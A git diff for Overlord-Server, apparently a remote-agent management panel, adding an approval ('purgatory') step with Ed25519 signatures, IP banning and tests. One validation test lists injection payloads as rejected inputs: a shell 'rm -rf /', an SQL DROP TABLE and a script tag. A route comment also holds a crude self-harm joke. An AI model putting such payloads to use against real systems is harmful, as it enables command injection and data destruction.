+    const sigB64 = await sign(kp.privateKey, nonce1);
+
+    expect(await verifyEd25519(kp.publicKeyBase64, sigB64, Buffer.from(nonce2).toString("base64"))).toBe(false);
+  });
+
+  test("empty public key is rejected", async () => {
+    expect(await verifyEd25519("", "AAAA", "AAAA")).toBe(false);
+  });
+
+  test("empty signature is rejected", async () => {
+    const kp = await generateKeypair();
+    expect(await verifyEd25519(kp.publicKeyBase64, "", "AAAA")).toBe(false);
+  });
+
+  test("malformed public key (wrong length) is rejected", async () => {
+    const nonce = new Uint8Array(32);
+    crypto.getRandomValues(nonce);
+    const nonceB64 = Buffer.from(nonce).toString("base64");
+    // 16-byte key instead of 32
+    const badKey = Buffer.from(new Uint8Array(16)).toString("base64");
+    const fakeSig = Buffer.from(new Uint8Array(64)).toString("base64");
+
+    expect(await verifyEd25519(badKey, fakeSig, nonceB64)).toBe(false);
+  });
+
+  test("malformed signature (wrong length) is rejected", async () => {
+    const kp = await generateKeypair();
+    const nonce = new Uint8Array(32);
+    crypto.getRandomValues(nonce);
+    const nonceB64 = Buffer.from(nonce).toString("base64");
+    // 32-byte signature instead of 64
+    const badSig = Buffer.from(new Uint8Array(32)).toString("base64");
+
+    expect(await verifyEd25519(kp.publicKeyBase64, badSig, nonceB64)).toBe(false);
+  });
+
+  test("garbage base64 does not crash — returns false", async () => {
+    expect(await verifyEd25519("not!!valid!!base64", "also!!bad", "nonce!!bad")).toBe(false);
+  });
+});
+
+describe("purgatory — key fingerprint", () => {
+  test("fingerprint is a 64-char hex SHA-256 of the raw public key bytes", async () => {
+    const kp = await generateKeypair();
+    const fp = computeKeyFingerprint(kp.publicKeyBase64);
+    expect(fp).toMatch(/^[0-9a-f]{64}$/);
+  });
+
+  test("different keys produce different fingerprints", async () => {
+    const kp1 = await generateKeypair();
+    const kp2 = await generateKeypair();
+    expect(computeKeyFingerprint(kp1.publicKeyBase64)).not.toBe(computeKeyFingerprint(kp2.publicKeyBase64));
+  });
+
+  test("same key always produces the same fingerprint", async () => {
+    const kp = await generateKeypair();
+    expect(computeKeyFingerprint(kp.publicKeyBase64)).toBe(computeKeyFingerprint(kp.publicKeyBase64));
+  });
+});
+
+describe("purgatory — enrollment challenge protocol", () => {
+  test("enrollment_challenge message encodes/decodes with nonce", () => {
+    const nonce = Buffer.from(new Uint8Array(32)).toString("base64");
+    const msg = encodeMessage({ type: "enrollment_challenge", nonce });
+    const decoded = decodeMessage(msg) as EnrollmentChallenge;
+    expect(decoded.type).toBe("enrollment_challenge");
+    expect(decoded.nonce).toBe(nonce);
+  });
+
+  test("enrollment_status message encodes/decodes with status", () => {
+    for (const status of ["pending", "approved", "denied"] as const) {
+      const msg = encodeMessage({ type: "enrollment_status", status });
+      const decoded = decodeMessage(msg) as EnrollmentStatusMsg;
+      expect(decoded.type).toBe("enrollment_status");
+      expect(decoded.status).toBe(status);
+    }
+  });
+
+  test("hello message with publicKey and signature round-trips", async () => {
+    const kp = await generateKeypair();
+    const hello: Hello = {
+      type: "hello",
+      id: "client-abc",
+      host: "DESKTOP-1",
+      os: "windows",
+      arch: "amd64",
+      version: "1.0.0",
+      user: "testuser",
+      monitors: 2,
+      country: "US",
+      publicKey: kp.publicKeyBase64,
+      signature: "fakesig==",
+    };
+    const encoded = encodeMessage(hello);
+    const decoded = decodeMessage(encoded) as Hello;
+    expect(decoded.publicKey).toBe(kp.publicKeyBase64);
+    expect(decoded.signature).toBe("fakesig==");
+  });
+});
+
+describe("purgatory — client rejection scenarios", () => {
+  test("client with no publicKey is rejected (close 4002)", () => {
+    const ws = createMockWs({ enrollmentNonce: Buffer.from(new Uint8Array(32)).toString("base64") });
+    const payload: any = {
+      type: "hello",
+      id: "bad-client",
+      host: "evil",
+      os: "windows",
+      arch: "amd64",
+      version: "1.0",
+      user: "hacker",
+      monitors: 1,
+      publicKey: "",
+      signature: "something",
+    };
+    // Simulate the server's check: missing publicKey/signature/nonce
+    const publicKey = typeof payload.publicKey === "string" ? payload.publicKey : "";
+    const signature = typeof payload.signature === "string" ? payload.signature : "";
+    const nonce = ws.data.enrollmentNonce || "";
+
+    if (!publicKey || !signature || !nonce) {
+      ws.close(4002, "invalid_signature");
+    }
+
+    expect(ws.closedCode).toBe(4002);
+    expect(ws.closedReason).toBe("invalid_signature");
+  });
+
+  test("client with no signature is rejected (close 4002)", () => {
+    const ws = createMockWs({ enrollmentNonce: Buffer.from(new Uint8Array(32)).toString("base64") });
+    const publicKey = "validkeyhere";
+    const signature = "";
+    const nonce = ws.data.enrollmentNonce || "";
+
+    if (!publicKey || !signature || !nonce) {
+      ws.close(4002, "invalid_signature");
+    }
+
+    expect(ws.closedCode).toBe(4002);
+  });
+
+  test("client with no nonce stored on ws is rejected (close 4002)", () => {
+    const ws = createMockWs({ enrollmentNonce: undefined });
+    const publicKey = "somekey";
+    const signature = "somesig";
+    const nonce = ws.data.enrollmentNonce || "";
+
+    if (!publicKey || !signature || !nonce) {
+      ws.close(4002, "invalid_signature");
+    }
+
+    expect(ws.closedCode).toBe(4002);
+  });
+
+  test("client with invalid Ed25519 signature is rejected", async () => {
+    const kp = await generateKeypair();
+    const nonce = new Uint8Array(32);
+    crypto.getRandomValues(nonce);
+    const nonceB64 = Buffer.from(nonce).toString("base64");
+    // Construct a bogus signature (not signed by this key)
+    const badSig = Buffer.from(new Uint8Array(64).fill(0xAB)).toString("base64");
+
+    const valid = await verifyEd25519(kp.publicKeyBase64, badSig, nonceB64);
+    expect(valid).toBe(false);
+    // Server would close with 4002
+  });
+
+  test("replay attack: reusing a nonce with a valid signature on a different nonce fails", async () => {
+    const kp = await generateKeypair();
+    const nonce1 = new Uint8Array(32);
+    const nonce2 = new Uint8Array(32);
+    crypto.getRandomValues(nonce1);
+    crypto.getRandomValues(nonce2);
+
+    // Client signed nonce1
+    const sigB64 = await sign(kp.privateKey, nonce1);
+    // Server presents nonce2 — verify against nonce2 should fail
+    const valid = await verifyEd25519(kp.publicKeyBase64, sigB64, Buffer.from(nonce2).toString("base64"));
+    expect(valid).toBe(false);
+  });
+
+  test("nonce is cleared after use — cannot be reused", () => {
+    const ws = createMockWs({ enrollmentNonce: "someNonce==" });
+    // Server clears nonce after successful verification
+    ws.data.enrollmentNonce = undefined;
+    expect(ws.data.enrollmentNonce).toBeUndefined();
+    // Second attempt with no nonce → rejected
+    const nonce = ws.data.enrollmentNonce || "";
+    expect(nonce).toBe("");
+  });
+
+  test("denied client gets close code 4003", () => {
+    const ws = createMockWs();
+    // Simulate denied enrollment status
+    const enrollmentStatus = "denied";
+    if (enrollmentStatus === "denied") {
+      ws.send(encodeMessage({ type: "enrollment_status", status: "denied" }));
+      ws.close(4003, "denied");
+    }
+    expect(ws.closedCode).toBe(4003);
+    expect(ws.closedReason).toBe("denied");
+    const msg = ws.decodeSent(0);
+    expect(msg.type).toBe("enrollment_status");
+    expect(msg.status).toBe("denied");
+  });
+
+  test("pending client gets close code 4001", () => {
+    const ws = createMockWs();
+    const enrollmentStatus = "pending";
+    if (enrollmentStatus === "pending") {
+      ws.send(encodeMessage({ type: "enrollment_status", status: "pending" }));
+      ws.close(4001, "pending");
+    }
+    expect(ws.closedCode).toBe(4001);
+    expect(ws.closedReason).toBe("pending");
+    const msg = ws.decodeSent(0);
+    expect(msg.type).toBe("enrollment_status");
+    expect(msg.status).toBe("pending");
+  });
+
+  test("approved client gets hello_ack (not closed)", async () => {
+    const ws = createMockWs();
+    const enrollmentStatus = "approved";
+    if (enrollmentStatus === "approved") {
+      ws.send(encodeMessage({
+        type: "hello_ack",
+        id: ws.data.clientId,
+        notification: { keywords: [], minIntervalMs: 8000, clipboardEnabled: false },
+      }));
+    }
+    expect(ws.closedCode).toBeNull();
+    const msg = ws.decodeSent(0);
+    expect(msg.type).toBe("hello_ack");
+    expect(msg.id).toBe("test-client-1");
+  });
+});
+
+describe("purgatory — enrollment timeout", () => {
+  test("timeout constant is 30 seconds", () => {
+    // This just documents the expected timeout value
+    const ENROLLMENT_TIMEOUT_MS = 30_000;
+    expect(ENROLLMENT_TIMEOUT_MS).toBe(30_000);
+  });
+
+  test("client that never sends hello would be closed with 4002 on timeout", () => {
+    const ws = createMockWs();
+    // Simulate timeout firing
+    ws.close(4002, "enrollment_timeout");
+    expect(ws.closedCode).toBe(4002);
+    expect(ws.closedReason).toBe("enrollment_timeout");
+  });
+});
+
+describe("purgatory — nonce generation", () => {
+  test("nonce is 32 bytes of randomness", () => {
+    const nonce = new Uint8Array(32);
+    crypto.getRandomValues(nonce);
+    expect(nonce.length).toBe(32);
+    // Extremely unlikely all zeros
+    expect(nonce.some((b) => b !== 0)).toBe(true);
+  });
+
+  test("sequential nonces are unique", () => {
+    const nonces = new Set<string>();
+    for (let i = 0; i < 100; i++) {
+      const n = new Uint8Array(32);
+      crypto.getRandomValues(n);
+      nonces.add(Buffer.from(n).toString("base64"));
+    }
+    expect(nonces.size).toBe(100);
+  });
+});
+
+describe("purgatory — end-to-end challenge-response", () => {
+  test("legitimate client completes full handshake", async () => {
+    // 1. Server generates nonce
+    const nonceBytes = new Uint8Array(32);
+    crypto.getRandomValues(nonceBytes);
+    const nonceB64 = Buffer.from(nonceBytes).toString("base64");
+
+    // 2. Client receives challenge and signs
+    const kp = await generateKeypair();
+    const sigB64 = await sign(kp.privateKey, nonceBytes);
+
+    // 3. Server verifies
+    const valid = await verifyEd25519(kp.publicKeyBase64, sigB64, nonceB64);
+    expect(valid).toBe(true);
+
+    // 4. Server computes fingerprint
+    const fp = computeKeyFingerprint(kp.publicKeyBase64);
+    expect(fp).toMatch(/^[0-9a-f]{64}$/);
+  });
+
+  test("attacker who intercepts nonce cannot sign without private key", async () => {
+    // 1. Server generates nonce
+    const nonceBytes = new Uint8Array(32);
+    crypto.getRandomValues(nonceBytes);
+    const nonceB64 = Buffer.from(nonceBytes).toString("base64");
+
+    // 2. Attacker has the real client's public key but not private key
+    const realClient = await generateKeypair();
+    const attacker = await generateKeypair();
+
+    // 3. Attacker tries to sign with their own key but present real client's pubkey
+    const attackerSig = await sign(attacker.privateKey, nonceBytes);
+    const valid = await verifyEd25519(realClient.publicKeyBase64, attackerSig, nonceB64);
+    expect(valid).toBe(false);
+  });
+
+  test("attacker with own keypair gets new identity — not existing client", async () => {
+    // Attacker generates valid keypair and signs correctly
+    const attacker = await generateKeypair();
+    const nonceBytes = new Uint8Array(32);
+    crypto.getRandomValues(nonceBytes);
+    const nonceB64 = Buffer.from(nonceBytes).toString("base64");
+    const sigB64 = await sign(attacker.privateKey, nonceBytes);
+
+    // Signature is valid...
+    const valid = await verifyEd25519(attacker.publicKeyBase64, sigB64, nonceB64);
+    expect(valid).toBe(true);
+
+    // ...but fingerprint won't match any existing approved client
+    const realClient = await generateKeypair();
+    expect(computeKeyFingerprint(attacker.publicKeyBase64)).not.toBe(computeKeyFingerprint(realClient.publicKeyBase64));
+  });
+
+  test("all-zero signature is rejected", async () => {
+    const kp = await generateKeypair();
+    const nonceBytes = new Uint8Array(32);
+    crypto.getRandomValues(nonceBytes);
+    const nonceB64 = Buffer.from(nonceBytes).toString("base64");
+    const zeroSig = Buffer.from(new Uint8Array(64)).toString("base64");
+
+    expect(await verifyEd25519(kp.publicKeyBase64, zeroSig, nonceB64)).toBe(false);
+  });
+
+  test("random 32-byte value that is not a valid Ed25519 point is rejected", async () => {
+    const nonceBytes = new Uint8Array(32);
+    crypto.getRandomValues(nonceBytes);
+    const nonceB64 = Buffer.from(nonceBytes).toString("base64");
+    // 0xFF-filled is not a valid Ed25519 public key point
+    const badKey = Buffer.from(new Uint8Array(32).fill(0xFF)).toString("base64");
+    const fakeSig = Buffer.from(new Uint8Array(64).fill(0x42)).toString("base64");
+
+    expect(await verifyEd25519(badKey, fakeSig, nonceB64)).toBe(false);
+  });
+});
+
+describe("purgatory — duplicate connection prevention", () => {
+  test("superseded socket gets close code 4004", () => {
+    // Simulate: old socket is active, then new socket arrives for same clientId
+    const oldWs = createMockWs({ clientId: "dup-client" });
+    const newWs = createMockWs({ clientId: "dup-client" });
+
+    // Simulated client manager (Map<string, { ws: any }>)
+    const clients = new Map<string, { ws: any }>();
+    clients.set("dup-client", { ws: oldWs });
+
+    // New connection arrives — kick old
+    const existing = clients.get("dup-client");
+    if (existing && existing.ws !== newWs) {
+      existing.ws.close(4004, "superseded");
+      clients.delete("dup-client");
+    }
+    clients.set("dup-client", { ws: newWs });
+
+    expect(oldWs.closedCode).toBe(4004);
+    expect(oldWs.closedReason).toBe("superseded");
+    expect(newWs.closedCode).toBeNull();
+    expect(clients.get("dup-client")!.ws).toBe(newWs);
+  });
+
+  test("superseded socket close handler skips cleanup", () => {
+    // Simulate: old socket fires close, but manager already has the new socket
+    const oldWs = createMockWs({ clientId: "dup-client" });
+    const newWs = createMockWs({ clientId: "dup-client" });
+
+    const clients = new Map<string, { ws: any }>();
+    clients.set("dup-client", { ws: newWs }); // new one already registered
+
+    // Old socket close handler fires
+    const current = clients.get("dup-client");
+    const shouldSkipCleanup = current && current.ws !== oldWs;
+
+    expect(shouldSkipCleanup).toBe(true);
+    // New socket should stay in place
+    expect(clients.get("dup-client")!.ws).toBe(newWs);
+  });
+
+  test("normal close handler cleans up when socket matches", () => {
+    const ws = createMockWs({ clientId: "normal-client" });
+    const clients = new Map<string, { ws: any }>();
+    clients.set("normal-client", { ws });
+
+    // Close handler — socket matches current
+    const current = clients.get("normal-client");
+    const shouldSkipCleanup = current && current.ws !== ws;
+
+    expect(shouldSkipCleanup).toBe(false);
+    // Should proceed with cleanup
+    clients.delete("normal-client");
+    expect(clients.has("normal-client")).toBe(false);
+  });
+
+  test("same socket reconnecting is not kicked (identity check)", () => {
+    const ws = createMockWs({ clientId: "same-client" });
+    const clients = new Map<string, { ws: any }>();
+    clients.set("same-client", { ws });
+
+    // Same ws object reconnects — should NOT kick itself
+    const existing = clients.get("same-client");
+    if (existing && existing.ws !== ws) {
+      existing.ws.close(4004, "superseded");
+    }
+
+    // Should not have been closed
+    expect(ws.closedCode).toBeNull();
+  });
+});
+
+describe("purgatory — IP banning", () => {
+  test("IP validation regex accepts valid IPv4", () => {
+    const ipRegex = /^[0-9a-fA-F:.]{3,64}$/;
+    expect(ipRegex.test("192.168.1.1")).toBe(true);
+    expect(ipRegex.test("10.0.0.1")).toBe(true);
+    expect(ipRegex.test("255.255.255.255")).toBe(true);
+  });
+
+  test("IP validation regex accepts valid IPv6", () => {
+    const ipRegex = /^[0-9a-fA-F:.]{3,64}$/;
+    expect(ipRegex.test("::1")).toBe(true);
+    expect(ipRegex.test("fe80::1")).toBe(true);
+    expect(ipRegex.test("2001:db8::1")).toBe(true);
+  });
+
+  test("IP validation regex rejects dangerous input", () => {
+    const ipRegex = /^[0-9a-fA-F:.]{3,64}$/;
+    expect(ipRegex.test("")).toBe(false);
+    expect(ipRegex.test("a")).toBe(false); // too short
+    expect(ipRegex.test("'; DROP TABLE--")).toBe(false);
+    expect(ipRegex.test("192.168.1.1; rm -rf /")).toBe(false);
+    expect(ipRegex.test("<script>alert(1)</script>")).toBe(false);
+  });
+
+  test("banned client gets close code 4003", () => {
+    const ws = createMockWs({ ip: "1.2.3.4" });
+    // Simulate banning: deny enrollment + close socket
+    ws.close(4003, "banned");
+    expect(ws.closedCode).toBe(4003);
+    expect(ws.closedReason).toBe("banned");
+  });
+
+  test("ban reason is truncated to 200 chars", () => {
+    const longReason = "A".repeat(500);
+    const truncated = longReason.slice(0, 200);
+    expect(truncated.length).toBe(200);
+    expect(truncated).toBe("A".repeat(200));
+  });
+});
diff --git a/Overlord-Server/src/server/http-dispatch.ts b/Overlord-Server/src/server/http-dispatch.ts
index 4308ee6..03571a7 100644
--- a/Overlord-Server/src/server/http-dispatch.ts
+++ b/Overlord-Server/src/server/http-dispatch.ts
@@ -36,6 +36,7 @@ type HttpDispatchDeps<
   handleAuthRoutes: RouteHandlerWithServer<TServer>;
   handleNotificationsConfigRoutes: RouteHandlerWithServerDeps<TServer, TNotificationsConfig>;
   handleAutoScriptsRoutes: RouteHandler;
+  handleEnrollmentRoutes: RouteHandler;
   handleUsersRoutes: RouteHandlerWithServer<TServer>;
   handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
   handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
@@ -105,6 +106,9 @@ export function createHttpFetchHandler<
       const autoScriptsResponse = await deps.handleAutoScriptsRoutes(req, url);
       if (autoScriptsResponse) return autoScriptsResponse;
 
+      const enrollmentResponse = await deps.handleEnrollmentRoutes(req, url);
+      if (enrollmentResponse) return enrollmentResponse;
+
       const usersResponse = await deps.handleUsersRoutes(req, url, routeServer);
       if (usersResponse) return usersResponse;
 
diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts
index 3d058d4..798e900 100644
--- a/Overlord-Server/src/server/routes/client-routes.ts
+++ b/Overlord-Server/src/server/routes/client-routes.ts
@@ -75,8 +75,9 @@ export async function handleClientRoutes(
     const statusFilter = url.searchParams.get("status") || "all";
     const osFilter = url.searchParams.get("os") || "all";
     const countryFilter = url.searchParams.get("country") || "all";
+    const enrollmentFilter = url.searchParams.get("enrollmentFilter") || "all";
     if (user.role === "admin") {
-      const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter });
+      const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter });
       return Response.json(result, { headers: deps.CORS_HEADERS });
     }
 
@@ -105,6 +106,7 @@ export async function handleClientRoutes(
       statusFilter,
       osFilter,
       countryFilter,
+      enrollmentFilter,
       allowedClientIds,
       deniedClientIds,
     });
diff --git a/Overlord-Server/src/server/routes/enrollment-routes.ts b/Overlord-Server/src/server/routes/enrollment-routes.ts
new file mode 100644
index 0000000..879bbc5
--- /dev/null
+++ b/Overlord-Server/src/server/routes/enrollment-routes.ts
@@ -0,0 +1,321 @@
+import { authenticateRequest } from "../../auth";
+import { getConfig, updateEnrollmentConfig } from "../../config";
+import {
+  getPendingClients,
+  getEnrollmentStats,
+  setClientEnrollmentStatus,
+  getClientEnrollmentStatus,
+  getClientIp,
+  banIp,
+  unbanIp,
+  isIpBanned,
+  listBannedIps,
+} from "../../db";
+import { logAudit, AuditAction } from "../../auditLog";
+import * as clientManager from "../../clientManager";
+import { setOnlineState } from "../../db";
+
+export async function handleEnrollmentRoutes(
+  req: Request,
+  url: URL,
+): Promise<Response | null> {
+  // GET /api/enrollment/pending
+  if (req.method === "GET" && url.pathname === "/api/enrollment/pending") {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    if (user.role === "viewer") return new Response("Forbidden", { status: 403 });
+
+    const clients = getPendingClients();
+    return Response.json({ items: clients });
+  }
+
+  // GET /api/enrollment/stats
+  if (req.method === "GET" && url.pathname === "/api/enrollment/stats") {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+
+    const stats = getEnrollmentStats();
+    return Response.json(stats);
+  }
+
+  // GET /api/enrollment/settings
+  if (req.method === "GET" && url.pathname === "/api/enrollment/settings") {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+
+    const config = getConfig();
+    return Response.json({
+      requireApproval: config.enrollment?.requireApproval ?? true,
+    });
+  }
+
+  // PUT /api/enrollment/settings
+  if (req.method === "PUT" && url.pathname === "/api/enrollment/settings") {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    if (user.role !== "admin") return new Response("Forbidden", { status: 403 });
+
+    let body: any;
+    try {
+      body = await req.json();
+    } catch {
+      return Response.json({ error: "Invalid JSON" }, { status: 400 });
+    }
+
+    if (typeof body?.requireApproval !== "boolean") {
+      return Response.json({ error: "requireApproval must be a boolean" }, { status: 400 });
+    }
+
+    await updateEnrollmentConfig(body.requireApproval);
+
+    logAudit({
+      timestamp: Date.now(),
+      username: user.username,
+      ip: "server",
+      action: AuditAction.ENROLLMENT_SETTINGS,
+      success: true,
+      details: JSON.stringify({ enrollment: { requireApproval: body.requireApproval } }),
+    });
+
+    return Response.json({ ok: true, requireApproval: body.requireApproval });
+  }
+
+  // POST /api/enrollment/:id/approve
+  const approveMatch = url.pathname.match(/^\/api\/enrollment\/([^/]+)\/approve$/);
+  if (req.method === "POST" && approveMatch) {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    if (user.role === "viewer") return new Response("Forbidden", { status: 403 });
+
+    const clientId = decodeURIComponent(approveMatch[1]);
+    const current = getClientEnrollmentStatus(clientId);
+    if (!current) return Response.json({ error: "Client not found" }, { status: 404 });
+
+    setClientEnrollmentStatus(clientId, "approved", user.username);
+
+    logAudit({
+      timestamp: Date.now(),
+      username: user.username,
+      ip: "server",
+      action: AuditAction.ENROLLMENT_APPROVE,
+      targetClientId: clientId,
+      success: true,
+      details: JSON.stringify({ enrollment: "approved" }),
+    });
+
+    return Response.json({ ok: true, status: "approved" });
+  }
+
+  // POST /api/enrollment/:id/deny
+  const denyMatch = url.pathname.match(/^\/api\/enrollment\/([^/]+)\/deny$/);
+  if (req.method === "POST" && denyMatch) {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    if (user.role === "viewer") return new Response("Forbidden", { status: 403 });
+
+    const clientId = decodeURIComponent(denyMatch[1]);
+    const current = getClientEnrollmentStatus(clientId);
+    if (!current) return Response.json({ error: "Client not found" }, { status: 404 });
+
+    setClientEnrollmentStatus(clientId, "denied");
+
+    logAudit({
+      timestamp: Date.now(),
+      username: user.username,
+      ip: "server",
+      action: AuditAction.ENROLLMENT_DENY,
+      targetClientId: clientId,
+      success: true,
+      details: JSON.stringify({ enrollment: "denied" }),
+    });
+
+    return Response.json({ ok: true, status: "denied" });
+  }
+
+  // POST /api/enrollment/:id/reset
+  const resetMatch = url.pathname.match(/^\/api\/enrollment\/([^/]+)\/reset$/);
+  if (req.method === "POST" && resetMatch) {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    if (user.role === "viewer") return new Response("Forbidden", { status: 403 });
+
+    const clientId = decodeURIComponent(resetMatch[1]);
+    const current = getClientEnrollmentStatus(clientId);
+    if (!current) return Response.json({ error: "Client not found" }, { status: 404 });
+
+    setClientEnrollmentStatus(clientId, "pending");
+
+    return Response.json({ ok: true, status: "pending" });
+  }
+
+  // POST /api/enrollment/bulk
+  if (req.method === "POST" && url.pathname === "/api/enrollment/bulk") {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    if (user.role === "viewer") return new Response("Forbidden", { status: 403 });
+
+    let body: any;
+    try {
+      body = await req.json();
+    } catch {
+      return Response.json({ error: "Invalid JSON" }, { status: 400 });
+    }
+
+    const ids = Array.isArray(body?.ids) ? body.ids.filter((id: unknown) => typeof id === "string") : [];
+    const action = body?.action;
+
+    if (!["approve", "deny", "reset", "ban-ip"].includes(action)) {
+      return Response.json({ error: "action must be 'approve', 'deny', 'reset', or 'ban-ip'" }, { status: 400 });
+    }
+    if (ids.length === 0) {
+      return Response.json({ error: "ids array is required" }, { status: 400 });
+    }
+
+    if (action === "ban-ip") {
+      let banned = 0;
+      for (const id of ids) {
+        const clientIp = getClientIp(id);
+        if (!clientIp) continue;
+        banIp(clientIp, `Bulk banned from purgatory by ${user.username}`);
+        setClientEnrollmentStatus(id, "denied");
+        const target = clientManager.getClient(id);
+        if (target) {
+          try { target.ws.close(4003, "banned"); } catch {}
+          setOnlineState(id, false);
+        }
+        banned++;
+      }
+
+      logAudit({
+        timestamp: Date.now(),
+        username: user.username,
+        ip: "server",
+        action: AuditAction.ENROLLMENT_BULK,
+        success: true,
+        details: JSON.stringify({ enrollment: { bulk: "ban-ip", count: banned } }),
+      });
+
+      return Response.json({ ok: true, action, updated: banned });
+    }
+
+    const status = action === "approve" ? "approved" : action === "deny" ? "denied" : "pending";
+    let updated = 0;
+    for (const id of ids) {
+      const ok = setClientEnrollmentStatus(
+        id,
+        status as "approved" | "denied" | "pending",
+        action === "approve" ? user.username : undefined,
+      );
+      if (ok) updated++;
+    }
+
+    logAudit({
+      timestamp: Date.now(),
+      username: user.username,
+      ip: "server",
+      action: AuditAction.ENROLLMENT_BULK,
+      success: true,
+      details: JSON.stringify({ enrollment: { bulk: action, count: updated } }),
+    });
+
+    return Response.json({ ok: true, action, updated });
+  }
+
+  // POST /api/enrollment/:id/ban-ip
+  // Ban ip API makes me wanna fucking kms.
+  const banMatch = url.pathname.match(/^\/api\/enrollment\/([^/]+)\/ban-ip$/);
+  if (req.method === "POST" && banMatch) {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    if (user.role === "viewer") return new Response("Forbidden", { status: 403 });
+
+    const clientId = decodeURIComponent(banMatch[1]);
+    const targetIp = getClientIp(clientId);
+    if (!targetIp) return Response.json({ error: "Client IP not found" }, { status: 404 });
+
+    banIp(targetIp, `Banned from purgatory by ${user.username} for client ${clientId}`);
+    setClientEnrollmentStatus(clientId, "denied");
+
+    const target = clientManager.getClient(clientId);
+    if (target) {
+      try { target.ws.close(4003, "banned"); } catch {}
+      setOnlineState(clientId, false);
+    }
+
+    logAudit({
+      timestamp: Date.now(),
+      username: user.username,
+      ip: "server",
+      action: AuditAction.ENROLLMENT_DENY,
+      targetClientId: clientId,
+      success: true,
+      details: JSON.stringify({ bannedIp: targetIp }),
+    });
+
+    return Response.json({ ok: true, ip: targetIp });
+  }
+
+  // GET /api/enrollment/banned-ips
+  if (req.method === "GET" && url.pathname === "/api/enrollment/banned-ips") {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    if (user.role === "viewer") return new Response("Forbidden", { status: 403 });
+
+    return Response.json({ items: listBannedIps() });
+  }
+
+  // DELETE /api/enrollment/banned-ips?ip=...
+  if (req.method === "DELETE" && url.pathname === "/api/enrollment/banned-ips") {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    if (user.role === "viewer") return new Response("Forbidden", { status: 403 });
+
+    const ipToUnban = (url.searchParams.get("ip") || "").trim();
+    if (!ipToUnban) return Response.json({ error: "Missing ip parameter" }, { status: 400 });
+    if (!/^[0-9a-fA-F:.]{3,64}$/.test(ipToUnban)) return Response.json({ error: "Invalid IP format" }, { status: 400 });
+    if (!isIpBanned(ipToUnban)) return Response.json({ error: "IP is not banned" }, { status: 404 });
+
+    unbanIp(ipToUnban);
+
+    logAudit({
+      timestamp: Date.now(),
+      username: user.username,
+      ip: "server",
+      action: AuditAction.ENROLLMENT_BULK,
+      success: true,
+      details: JSON.stringify({ unbannedIp: ipToUnban }),
+    });
+
+    return Response.json({ ok: true });
+  }
+
+  // POST /api/enrollment/ban-ip (manual IP ban)
+  if (req.method === "POST" && url.pathname === "/api/enrollment/ban-ip") {
+    const user = await authenticateRequest(req);
+    if (!user) return new Response("Unauthorized", { status: 401 });
+    if (user.role === "viewer") return new Response("Forbidden", { status: 403 });
+
+    let body: any;
+    try { body = await req.json(); } catch { return Response.json({ error: "Invalid JSON" }, { status: 400 }); }
+
+    const ip = typeof body?.ip === "string" ? body.ip.trim() : "";
+    if (!ip) return Response.json({ error: "ip is required" }, { status: 400 });
+    if (!/^[0-9a-fA-F:.]{3,64}$/.test(ip)) return Response.json({ error: "Invalid IP format" }, { status: 400 });
+
+    const reason = typeof body?.reason === "string" ? body.reason.slice(0, 200) : `Banned from purgatory by ${user.username}`;
+    banIp(ip, reason);
+
+    logAudit({
+      timestamp: Date.now(),
+      username: user.username,
+      ip: "server",
+      action: AuditAction.ENROLLMENT_DENY,
+      success: true,
+      details: JSON.stringify({ bannedIp: ip, reason }),
+    });
+
+    return Response.json({ ok: true, ip });
+  }
+
+  return null;
+}
diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts
index ed4d758..8841a69 100644
--- a/Overlord-Server/src/server/routes/page-routes.ts
+++ b/Overlord-Server/src/server/routes/page-routes.ts
@@ -75,6 +75,7 @@ const STATIC_PAGES: StaticPageDef[] = [
   { path: "/scripts",            file: "scripts.html",             access: "no-viewer" },
   { path: "/deploy",             file: "deploy.html",              access: "admin" },
   { path: "/socks5-manager",     file: "socks5-manager.html",      access: "no-viewer",        checkPasswordChange: true },
+  { path: "/purgatory",          file: "purgatory.html",           access: "admin-or-operator", checkPasswordChange: true },
 ];
 
 /** Client-scoped pages accessed via query param ?clientId=... */
diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
index 4bc6b4b..dccc0ea 100644
--- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
@@ -1,8 +1,10 @@
 import type { ServerWebSocket } from "bun";
 import { v4 as uuidv4 } from "uuid";
+import geoip from "geoip-lite";
 import { logAudit, AuditAction } from "../../auditLog";
 import * as clientManager from "../../clientManager";
-import { clientExists, setOnlineState, upsertClientRow } from "../../db";
+import { clientExists, setOnlineState, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey } from "../../db";
+import { getConfig } from "../../config";
 import { logger } from "../../logger";
 import { metrics } from "../../metrics";
 import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol";
@@ -85,6 +87,42 @@ type WsLifecycleDeps = {
   notifyDashboard: () => void;
 };
 
+const ENROLLMENT_TIMEOUT_MS = 30_000;
+const enrollmentTimeouts = new Map<string, ReturnType<typeof setTimeout>>();
+
+function clearEnrollmentTimeout(clientId: string) {
